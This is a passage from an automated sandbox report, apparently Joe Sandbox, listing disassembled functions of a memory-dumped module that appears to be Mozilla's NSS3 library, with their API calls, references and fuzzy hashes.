Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF47
Part of subcall function 6C6BCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF67
Part of subcall function 6C6BCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C6BCD93,?,?,?,?,?,?,?,?,?,?,?,6C6BCD93,?), ref: 6C6BCF78

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction ID: df4060638b9dfed6918a95f45276fd06404caec0ee5e3a7fd7dc208a94e18b80
Opcode Fuzzy Hash: 77e3f55a0fa3dae1c62a8cb82c379bdcb217c792d9a5b2673b7e61187cc50e0c
Instruction Fuzzy Hash: C451B3B6A00105ABE710DF69DC40B9A77E4EF48348F250524E946B7B40EB31EA26CB99

Function 6C6CFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C6CFFE5

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6D0004
PR_EnterMonitor.NSS3(?), ref: 6C6D001B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction ID: e1df66cdfdcff840337f6f3681ef08d2f3bf5822fdea135648fcba63fcc0ea7e
Opcode Fuzzy Hash: 6a47e24bc0e28269a45094143fabbac56a4322610f1a8ede83c67aa0a26e3e21
Instruction Fuzzy Hash: 0D419770608680DBE7308A69DC557EB73A1EB8130CF55043DE45BCBE90E3B9B449C78A

Function 6C68EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C68EF38

Part of subcall function 6C679520: PK11_IsLoggedIn.NSS3(00000000,?,6C6A379E,?,00000001,?), ref: 6C679542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C68EF53

Part of subcall function 6C694C20: TlsGetValue.KERNEL32 ref: 6C694C4C
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?), ref: 6C694C60
Part of subcall function 6C694C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CA1
Part of subcall function 6C694C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C694CBE
Part of subcall function 6C694C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C694CD2
Part of subcall function 6C694C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C694D3A

PR_GetCurrentThread.NSS3 ref: 6C68EF9E

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

free.MOZGLUE(00000000), ref: 6C68EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C68F016
free.MOZGLUE(00000000), ref: 6C68F022

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction ID: 6273c486a7b59ef7c815cb76326d4a6e881225dcd703cd0e19cbf82bb2cd628d
Opcode Fuzzy Hash: 193e45471585095125124e0e9b92efe8fd013fe64773360420aa67faf0aa62ef
Instruction Fuzzy Hash: BC41B2B1E0120AAFDF018FA9DC44BEE7BB9AF49348F144025F914A6350E772C9158BB9

Function 6C67CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C67CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C67D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C67D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67D025
PR_NewLock.NSS3 ref: 6C67D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67D074

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction ID: 79ea88b1fcbb8423cd0d8289845fd35db8351fd1248ed1845f97c588f3ae3957
Opcode Fuzzy Hash: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction Fuzzy Hash: C641E3B0A013019FDF20DF29C88878A7BE4EF08358F10596ADC198BB46D774D885CBB9

Function 6C6C3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C3FF2

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C6C400F

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C6C4054

Part of subcall function 6C65BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C65BC24
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BC39
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C65BC58
Part of subcall function 6C65BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C65BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6C40CD

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 85cb7722eb0d43e6c1125bf58762c9f1fb40480b9f6c4d0355d9e319e4c27fe6
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 8A31C8B2F4034597EB00DF649D81BBA3364EF9170CF144225ED099B742FB71E96883AA

Function 6C662E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C652D1A), ref: 6C662E7E

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

PR_Now.NSS3 ref: 6C662EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C662EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C652D1A), ref: 6C662F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C652D1A), ref: 6C662F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C662F81

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 6b07c725085597f8747be8f02724ca0978570fab7e286339c927f80b8baa832b
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: CA31F3715411008BE710C657CC88BAEB365EF81358F64497AD42AA7ED0EB31988AC75F

Function 6C650E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C650A2C), ref: 6C650E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C650A2C), ref: 6C650E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C650A2C), ref: 6C650E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C650A2C), ref: 6C650E90
free.MOZGLUE(00000000), ref: 6C650EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C650A2C), ref: 6C650ED9

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction ID: b54aa62a423b8e2f24136349cc35f578237e9facc757e54bbac3f2cfb7fd2587
Opcode Fuzzy Hash: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction Fuzzy Hash: 2D216E73F0028557EB0049669C45BAB76AEDFC270CFB94435D81863A02FA70C83783AA

Function 6C65AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C65AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C65AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C779500), ref: 6C65AF23

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65AF37

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction ID: 76d532f6dcbbb6a60217a3de15781c23c83e5a06c9322c4e4e5371c539a706b7
Opcode Fuzzy Hash: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction Fuzzy Hash: 56213AB19092006BEB108F18DC41BAA7BE4AF8572CF644319FC54AB782E732D51587BF

Function 6C6DEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85
realloc.MOZGLUE(D73B9555,?), ref: 6C6DEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6DEEC5

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

htonl.WSOCK32(?), ref: 6C6DEEE3
htonl.WSOCK32(00000000,?), ref: 6C6DEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6DEF01

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction ID: c935de0a551343cf15088d4e7650486b74cf4b0846231a25548422a6cf3a3da1
Opcode Fuzzy Hash: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction Fuzzy Hash: 7021D371A002159FCF109F28DC8479AB7A4EF89358F158179EC199B641E730FC15CBEA

Function 6C68EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68EE49

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C68EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C68EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C68EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C68EEB3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: e078dbc3a9a7fec5d4538e76caa6fecef3a4990a4c6f1ee1541df9b13bf24d4b
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 112157BAA002146BEB108F58DC85EAB77A8EF06708F040564FE049B302E771DC15C7FA

Function 6C657F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657F68

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C657F7B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657FA7

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77919C,?), ref: 6C657FBB

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C77915C,00000014), ref: 6C657FFE

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction ID: 7c203b54db82ad3a88a40cc6c6df7f62eeea3152c088f7e93030573c2ee79624
Opcode Fuzzy Hash: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction Fuzzy Hash: 591157B1D042086AE710DA25AD44FBB72ACDF4564CF500629FC59D2B41F721A968C2BE

Function 6C65BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C6DDC29,?), ref: 6C65BE64

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C6DDC29,?), ref: 6C65BE78

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C6DDC29,?), ref: 6C65BE96

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C6DDC29,?), ref: 6C65BEBB

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C6DDC29,?), ref: 6C65BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C6DDC29,?), ref: 6C65BEF3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
